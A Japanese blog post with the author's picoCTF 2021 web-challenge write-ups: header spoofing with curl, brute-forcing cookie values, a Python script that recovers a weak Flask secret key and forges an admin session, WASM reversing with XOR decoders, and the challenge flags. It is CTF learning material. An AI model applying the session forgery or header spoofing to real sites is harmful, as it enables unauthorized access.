picoCTF 2021 writeup

はじめに自己紹介

  • ブログは初投稿になります。sssssshです。
  • 名前見て分かるように好きなコマンドはsshコマンドです笑。
  • CTF歴は2年くらいです。主にwebとか、forensic(最近見かけないけど)とか、pwn(最近やり始めた)とかやってます。
  • クソ雑魚CTFerなので、暖かい目でwriteupを見ていってください。
  • クソ雑魚なので、順位とかチーム名とかは秘密です笑
  • 解いたあと、メモ程度しか残してなかったので解説雑なやつがあるかも
  • あとWeb以外の問題は大して解けなかったので、とりあえずWebだけ(めんどくさかったワケジャナイヨー笑)

Web

GET aHEAD

問題のurlにHTTP HEADメソッドでアクセスする。 curlのIオプションでHEADメソッドを指定しました。

curl -I http://mercury.picoctf.net:21939/index.php

picoCTF{r3j3ct_th3_du4l1ty_6ef27873}

Cookies

シェルスクリプト(苦手)を書いて解きました。 クッキーにいろんな数字を入れて、アクセスしにいく感じですね。

#!/bin/sh
for  i in `seq 0 300`
do
echo $i
curl -s  -H "Cookie: name=$i" "http://mercury.picoctf.net:17781/check" | grep "picoCTF"
sleep 0.1
done

picoCTF{3v3ry1_l0v3s_c00k135_bb3b3535}

Scavenger Hunt

前のpicoCTFで似たような問題が出てた気がしました。 結果から言うと以下のファイルやディレクトリにアクセスしに行くと、flagが分かりました。

/
mycss.css
robots.txt
.htaccess
/.DS_Store/

picoCTF{th4ts_4_l0t_0f_pl4c3s_2_lO0k_7a46d25d} しれっと書いていますが、.htaccessは後輩が教えてくれました。ありがとう笑!

Some Assembly Required 1

wasm問ですね。 ソースコードにflagがそのまんまあります。 chromeで問題サイトを開いて、F12を押して開発者ツールを開きます。そしたら、Sourcesのところをクリックして、wasmをクリックして、ランダムな数字のファイルをクリックします。そうするとwasmがコンパイルされる前の状態?のwatっていう状態のコードを見ることができます。下にスクロールしていくとflagがありますね。(ラッキー)

f:id:ssssssh:20210331154818p:plain
chromeの開発者ツールでwat(wasmにコンパイルする前の状態)を見ている

picoCTF{51e513c498950a515b1aab5e941b2615}

It is my Birthday

md5が衝突するpdfを提出するだけ。問題文からそんな感じの雰囲気がしてた気がします。 https://github.com/corkami/collisions/tree/master/scripts pdf1.binとpdf2.binの拡張子をpdfにして提出。

picoCTF{c0ngr4ts_u_r_1nv1t3d_3d3e4c57}

Who are you?

つまった問題です。 表示される条件にあうように、httpヘッダーを追加していきます。

curl -v -H "Date: Wed, 21 Oct 2018 07:28:00 GMT" -H "referer: http://mercury.picoctf.net:1270" -H "DNT: 1" -A "PicoBrowser" http://mercury.picoctf.net:1270/

いろいろやっていくとこうなります。

そのあと

This website is only for people from Sweden.

という条件がきます。

以下のサイトを眺めてるとひらめきました。

developer.mozilla.org

X-Forwarded-Forでipを指定できます。このディレクティブはプロキシやらロードバランサーを通ると元のIPアドレスが分からなくなってしまうため、ここに元のipを書いておこうってディレクティブだった気がします。(違ってたらすみません。)

まさかここにスウェーデンのipを指定してアクセスするとかソンナワケナイヨナーって思ったのですが、考えたことを全てやらないと解けないのがCTFです。やってみます。

スウェーデンのipを検索します。

Sweden - IP Addresses by Country

-H "X-Forwarded-For: 81.229.119.123"

を追加すると次に進みます。

You're in Sweden but you don't speak Swedish?

なにやら言語のことが言われているようです。

-H "Accept-Language: sv"

を追加しましょう。 そうするとflagが返ってきたはずです。

picoCTF{http_h34d3rs_v3ry_c0Ol_much_w0w_f56f58a5}

最終的にはこんな感じになると思います。

curl -v -H "Date: Wed, 21 Oct 2018 07:28:00 GMT" -H "X-Forwarded-For: 81.229.119.123" -H "referer: http://mercury.picoctf.net:1270" -H "Accept-Language: sv" -H "DNT: 1" -A "PicoBrowser" http://mercury.picoctf.net:1270/

Some Assembly Required 2

またwasm問ですね。 まともにソースコードにみるの大変そうなので、気合いで解きました。(まともな解き方を期待した人はすみません。) いろいろ試してみると、次のことが分かりました。

wasmの最後らへんにあるxakgK\5cNs((j:l9<mimk?:k;9;8=8?=0?>jnn:j=lu\00\00 を一文字ずつ取得して、その文字コードに+8か-8してから、入力した文字の文字コードと比較していてる。

ソースコードをまともに見てないので、 +8と-8がどういう条件で変わるか分からなかったので、文字コードを比較する箇所(0x0224)にブレークポイントを置いて、一文字ずつどっちか確認しました。(めっちゃ時間掛かった笑)(こうやって時間を無駄に溶かすのが好きです)

picoCTF{ b2d14eaec72c31305075876bff2b5d} 最初空白が2個あるのですが、ハテブロ側には空白1個って認識されてますね。なんでだ。

Most Cookies

flaskのcookie問ですね。 以下が参考にした記事です。

qiita.com

tech.kusuwada.com

配布されたソースコードをみて、脆弱なコードはここだと思いました。

cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]
app.secret_key = random.choice(cookie_names)

セッションのシークレットキーが配列からランダムに取得されています。 つまりこのcookie_namesの配列のどれかの要素が自分のセッションのシークレットキーになるということです。 以下のコードで全探索してシークレットキーを見つけてから、セッションを改竄します。(very_authの値をadminにする) 改竄したセッションで問題サイトにアクセスするとflagが見られます。 picoCTF{pwn_4ll_th3_cook1E5_25bdb6f6}

#!/usr/bin/env python3
# -*- coding:utf-8 -*-
# this code is refer to bellow site
#   https://qiita.com/koki-sato/items/6ff94197cf96d50b5d8f#flask-%E3%81%AE%E3%82%BB%E3%83%83%E3%82%B7%E3%83%A7%E3%83%B3%E6%94%B9%E3%81%96%E3%82%93

import zlib
from flask.sessions import SecureCookieSessionInterface
from itsdangerous import base64_decode, URLSafeTimedSerializer

cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]
cookie = 'eyJ2ZXJ5X2F1dGgiOiJraXNzIn0.YFHmsg.Y1gSa1A8j4Kva6RaUARvlnqHU5w'

class SimpleSecureCookieSessionInterface(SecureCookieSessionInterface):
    # NOTE: Override method
    def get_signing_serializer(self, secret_key):
        signer_kwargs = {
            'key_derivation': self.key_derivation,
            'digest_method': self.digest_method
        }
        return URLSafeTimedSerializer(
            secret_key,
            salt=self.salt,
            serializer=self.serializer,
            signer_kwargs=signer_kwargs
        )

class FlaskSessionCookieManager:
    @classmethod
    def decode(cls, secret_key, cookie):
        sscsi = SimpleSecureCookieSessionInterface()
        signingSerializer = sscsi.get_signing_serializer(secret_key)
        return signingSerializer.loads(cookie)

    @classmethod
    def encode(cls, secret_key, session):
        sscsi = SimpleSecureCookieSessionInterface()
        signingSerializer = sscsi.get_signing_serializer(secret_key)
        return signingSerializer.dumps(session)

# main


for co in cookie_names:
    try:
        print(co)
        session = FlaskSessionCookieManager.decode(co, cookie)
        print(session)
        session = { 'very_auth': 'admin' }
        print(FlaskSessionCookieManager.encode(co, session))
        break
    except:
        print("fail")

Some Assembly Required 3

またまたwasm問ですね。 めっちゃ前にこのツールをビルドしてたので、使えそうなやつを探してみます。 試しにwasm2cでC言語にしてからコンパイルして、gdbデバッグしようとしたのですが、コンパイルの時にエラーがでてやめました。

github.com

自分はこれが見やすかった気がします。

wasm-decompile: decompile a wasm binary into readable C-like syntax.

以下がwasm-decompileの実行結果です。

export memory memory(initial: 2, max: 0);
global g_a:int = 66864;
export global input:int = 1072;
export global key:int = 1067;
export global __dso_handle:int = 1024;
export global __data_end:int = 1328;
export global __global_base:int = 1024;
export global __heap_base:int = 66864;
export global __memory_base:int = 0;
export global __table_base:int = 1;
table T_a:funcref(min: 1, max: 1);
data d_a(offset: 1024) = "\9dn\93\c8\b2\b9A\8b\90\c2\ddc\93\93\92\8fd\92\9f\94\d5b\91\c5\c0\8ef\c4\97\c0\8f1\c1\90\c4\8ba\c2\94\c9\90\00\00";
data d_b(offset: 1067) = "\f1\a7\f0\07\ed";
export function __wasm_call_ctors() {
}
export function strcmp(a:int, b:int):int {
  var c:int = g_a;
  var d:int = 32;
  var e:int = c - d;
  e[24]:int = a;
  e[20]:int = b;
  var f:int = e[24]:int;
  e[16]:int = f;
  var g:int = e[20]:int;
  e[12]:int = g;
  block B_a {
    loop L_b {
      var h:int = e[16]:int;
      var i:int = 1;
      var j:int = h + i;
      e[16]:int = j;
      var k:int = h[0]:int_8_u;
      e[11]:int_8 = k;
      var l:int = e[12]:int;
      var m:int = 1;
      var n:int = l + m;
      e[12]:int = n;
      var o:int = l[0]:int_8_u;
      e[10]:int_8 = o;
      var p:int = e[11]:int_8_u;
      var q:int = 255;
      var r:int = p & q;
      block B_c {
        if (r) break B_c;
        var s:int = e[11]:int_8_u;
        var t:int = 255;
        var u:int = s & t;
        var v:int = e[10]:int_8_u;
        var w:int = 255;
        var x:int = v & w;
        var y:int = u - x;
        e[28]:int = y;
        break B_a;
      }
      var z:int = e[11]:int_8_u;
      var aa:int = 255;
      var ba:int = z & aa;
      var ca:int = e[10]:int_8_u;
      var da:int = 255;
      var ea:int = ca & da;
      var fa:int = ba;
      var ga:int = ea;
      var ha:int = fa == ga;
      var ia:int = 1;
      var ja:int = ha & ia;
      if (ja) continue L_b;
    }
    var ka:int = e[11]:int_8_u;
    var la:int = 255;
    var ma:int = ka & la;
    var na:int = e[10]:int_8_u;
    var oa:int = 255;
    var pa:int = na & oa;
    var qa:int = ma - pa;
    e[28]:int = qa;
  }
  var ra:int = e[28]:int;
  return ra;
}
export function check_flag():int {
  var a:int = 0;
  var b:int = 1072;
  var c:int = 1024;
  var d:int = strcmp(c, b);
  var e:int = d;
  var f:int = a;
  var g:int = e != f;
  var h:int = -1;
  var i:int = g ^ h;
  var j:int = 1;
  var k:int = i & j;
  return k;
}
export function copy_char(a:int, b:int) {
  var c:int = g_a;
  var d:int = 16;
  var e:int = c - d;        // 66848 ( 66864 - 16)
  e[12]:int = a;            // 112
  e[8]:int = b;             // 0
  var f:int = e[12]:int;    
  block B_a {
    if (==(f)) break B_a;
    var g:int = 4;
    var h:int = e[8]:int;    // 0
    var i:int = 5;           // 5
    var j:int = h % i;       // 0
    var k:int = g - j;       // 4 (4-0)
    var l:int = k[1067]:int_8_u; // 0xED(237)  [1067 + 4]
    var m:int = 24;          // 24
    var n:int = l << m;      // 237 << 24 = -318767104
    var o:int = n >> m;      // -318767104 >> 24 = -19 
    var p:int = e[12]:int;   // 112
    var q:int = p ^ o;       // 112 ^ -19
    e[12]:int = q;           // -99
  }
  var r:int = e[12]:int;     
  var s:int = e[8]:int; 
  s[1072]:int_8 = r;           // -99 [66848]
}

//のやつはメモ(超適当)です。 開発者ツールでステップ実行をしていきながら、こっちにメモを取っていきました。 結局分かったことはxorエンコードしてたってことです。 以下はjsで書きました。

let encode_flag = [0x9d,0x6e,0x93,0xc8,0xb2,0xb9,0x41,0x8b,0x90,0xc2,0xdd,0x63,0x93,0x93,0x92,0x8f,0x64,0x92,0x9f,0x94,0xd5,0x62,0x91,0xc5,0xc0,0x8e,0x66,0xc4,0x97,0xc0,0x8f,0x31,0xc1,0x90,0xc4,0x8b,0x61,0xc2,0x94,0xc9,0x90,0x0,0x0]
let key = [0xf1,0xa7,0xf0,0x7,0xed]
let flag = ""
for(let i=0;i<encode_flag.length;i++){
    let ind = i % 5
    let kd = key[4 - ind]
    flag_code = kd ^ encode_flag[i]
    flag += String.fromCharCode(flag_code)
}
console.log(flag)

picoCTF{730dc4cbcb8e8eab1ca401b6175ff238}

Some Assembly Required 4

またまたまたwasm問ですね。 基本的に3と同じ流れです。 xorしているところ全てにブレークポイントを置いて実行してくと、どんな感じで"\18j|a\118i7\18\09y\0eh\1b\03?\07\13B&`m\1b]s\04lGR5]\17\1fs38@QwWQ\00\00"と入力した文字列を比較しているかが分かりました。

以下がpicoCTFと入力した時のメモです。

112(p) ^ 20 = 100
100 ^ 0  = 100
100 ^ 9 = 109
109 ^ 7 =  106 (j) ここの出力をcopy_charのデータと比較している(比較の順番に注意)

105(i) ^ 20 = 125
125 ^ 106 = 23
23 ^ 1 =  22
22 ^ 8 = 30
30 ^ 6 = 24(\18)

99(c) ^ 20 = 119
119 ^ 24 = 111
111 ^ 2 = 109
109 ^ 9 = 100
100 ^ 5 = 97

111(o) ^ 20 = 123
123 ^ 97 = 26
26 ^ 106 = 112
112 ^ 3 = 115
115 ^ 8 = 123
123 ^ 7 = 124

67(C) ^ 20 = 87
87 ^ 124 = 43
43 ^ 24 = 51
51 ^  4 = 55
55 ^ 9 = 62
62 ^ 6 = 56

84(T) ^ 20 = 64
64 ^ 56 = 120
120 ^ 97 = 25
25 ^ 5 = 28
28 ^ 8 = 20
20 ^ 5 = 17

70(F) ^ 20 = 82
82 ^ 17 = 67
67 ^ 124 = 63
63 ^ 6 = 57
57 ^ 9 = 48
48 ^ 7 = 55

味噌はデータの比較の順番ですかね。 最初106(j)と入力した文字の一文字目を比較して、次の二文字目は24(\x18)と比較しています。こんな感じで続いていきます。 つまり文字列の比較の順番は そのままの順番

\18  ->  j  ->  |  ->  a  ->  ・・・

ではなく、

 j  ->  \18  ->  a  ->  |  ->  ・・・

こんな感じになります。

結局やってることは入力した文字列を一文字ずつxorしまくって、j -> \x18 -> ・・・の順番でデータと比較してるだけですね(多分)。

あとは上のメモとwasm-decompileの実行結果を見つつ、何をやっているかもう少し見ました。

結果、こんな感じのデータをデコードするpythonスクリプトが書けました。

encode_flag = b"\x18j|a\x118i7\x18\x09y\x0eh\x1b\x03?\x07\x13B&`m\x1b]s\x04lGR5]\x17\x1fs38@QwWQ\x00\x00"


unorderd_flag_array = bytearray(encode_flag)

flag_array = []

for k in range(0,len(unorderd_flag_array)-1):
    if k % 2 == 0:
        g  = 1
    else:
        g  = -1
    flag_array.append(unorderd_flag_array[k + g])


flag = ""
idex3 = 0
idex2 = 0


for i in range(0,len(flag_array)):

    print(flag_array[i])
    if i % 3 == 0:
        flag_code = flag_array[i] ^ 7
        print(str(flag_array[i])+" ^ 7")
    elif i % 3 == 1:
        flag_code = flag_array[i] ^ 6
        print(str(flag_array[i])+" ^ 6")
    elif  i% 3 == 2:
        flag_code = flag_array[i] ^ 5
        print(str(flag_array[i])+" ^ 5")


    if  i % 2== 0:
        flag_code = flag_code ^ 9
        print(str(flag_code)+" ^ 9")
    else:
        flag_code = flag_code ^ 8
        print(str(flag_code)+" ^ 8")
        
    flag_code = flag_code ^ (i % 10)
    print(str(flag_code)+" ^ "+str(i%10))


    if i >= 3 :
        
        flag_code = flag_code ^ flag_array[idex3]
        print(str(flag_code)+" ^ "+str(flag_array[idex3]))
        idex3 += 1



    if i >= 1 :
        flag_code = flag_code ^ flag_array[idex2]
        print(str(flag_code)+" ^ "+str(flag_array[idex2]))

        idex2 += 1




    flag_code = flag_code ^ 20
    print(str(flag_code)+" ^ 20")
    print(flag_code)
    flag += chr(flag_code)
    print("-------------------------------")



print(flag)

実行すると最後

picoCTF{a4dfbd29e50d01f1a513903dfceda44c,

っていう出力が返ってくるのですが、最後の,を}に変えるとflagが通りました。

picoCTF{a4dfbd29e50d01f1a513903dfceda44c}

Web問じゃなくて完全にリバーシングの問題の気がします。

おまけ

chromeの開発者ツールでModuleの$memoryの箇所を右クリックして、inspect memoryをクリックすると16進ダンプの画面が見られるよ。かっこいいね!

f:id:ssssssh:20210331175127p:plain
開発者ツールで16進ダンプを表示

今後もwasm問が増えていくのでしょうかね。だとしたらきつい。 gdbとかlldbとかでデバッグしてみたかったですね。 お勧めの解き方あったら教えてください!

最後に

実はこの記事は3/31(入社1日前)に一瞬だけ公開してました。 公開した後にまだwriteupを出しちゃダメって事を知って焦ったのですが、アクセス解析で確認したところ、だれもこの記事にたどり着けてなかったみたいだったので安心しました笑。その後すぐに下書きに保存し直しました。

今後もCTFとかなんかの技術とかアウトプットしていきたいですな。